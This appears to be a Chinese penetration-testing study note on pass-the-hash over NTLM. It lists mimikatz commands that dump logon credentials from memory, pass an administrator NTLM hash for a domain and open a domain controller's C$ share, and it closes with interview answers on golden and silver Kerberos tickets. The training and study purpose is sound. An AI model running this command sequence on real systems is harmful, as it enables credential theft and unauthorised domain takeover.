内网渗透--基于ntlm协议的哈希传递

1、使用哈希传递尝试查看域控C盘

cd C:\Users\zc\Desktop\mimikatz_trunk\x64
mimikatz.exe
privilege::debug 提升权限(注：需以管理员权限运行)
sekurlsa::logonpasswords 获取内存中保存的登录信息
sekurlsa::pth /user:administrator /domain:qf.com/ntlm:a803cf45d87009c404eb89df4b1ae94c弹出新窗口
dir \\192.168.1.254\c$

2、画图解释ntlm协议通信流程

3、尝试回答面试题，你熟悉哪些内网渗透的手段，要求说明哈希传递的使用场景以及前提条件
基于ntlm协议的哈希传递，只针对相同密码的用户认证之间，不需要明文密码登录受害主机
基于Kerberos协议的黄金票据：伪造Kerberos协议通信过程中身份票据TGT，以用户身份访问用户所有服务
白银票据：伪造了 kerbores 协议通信过程中的服务票据，只能访问某一个具体的服务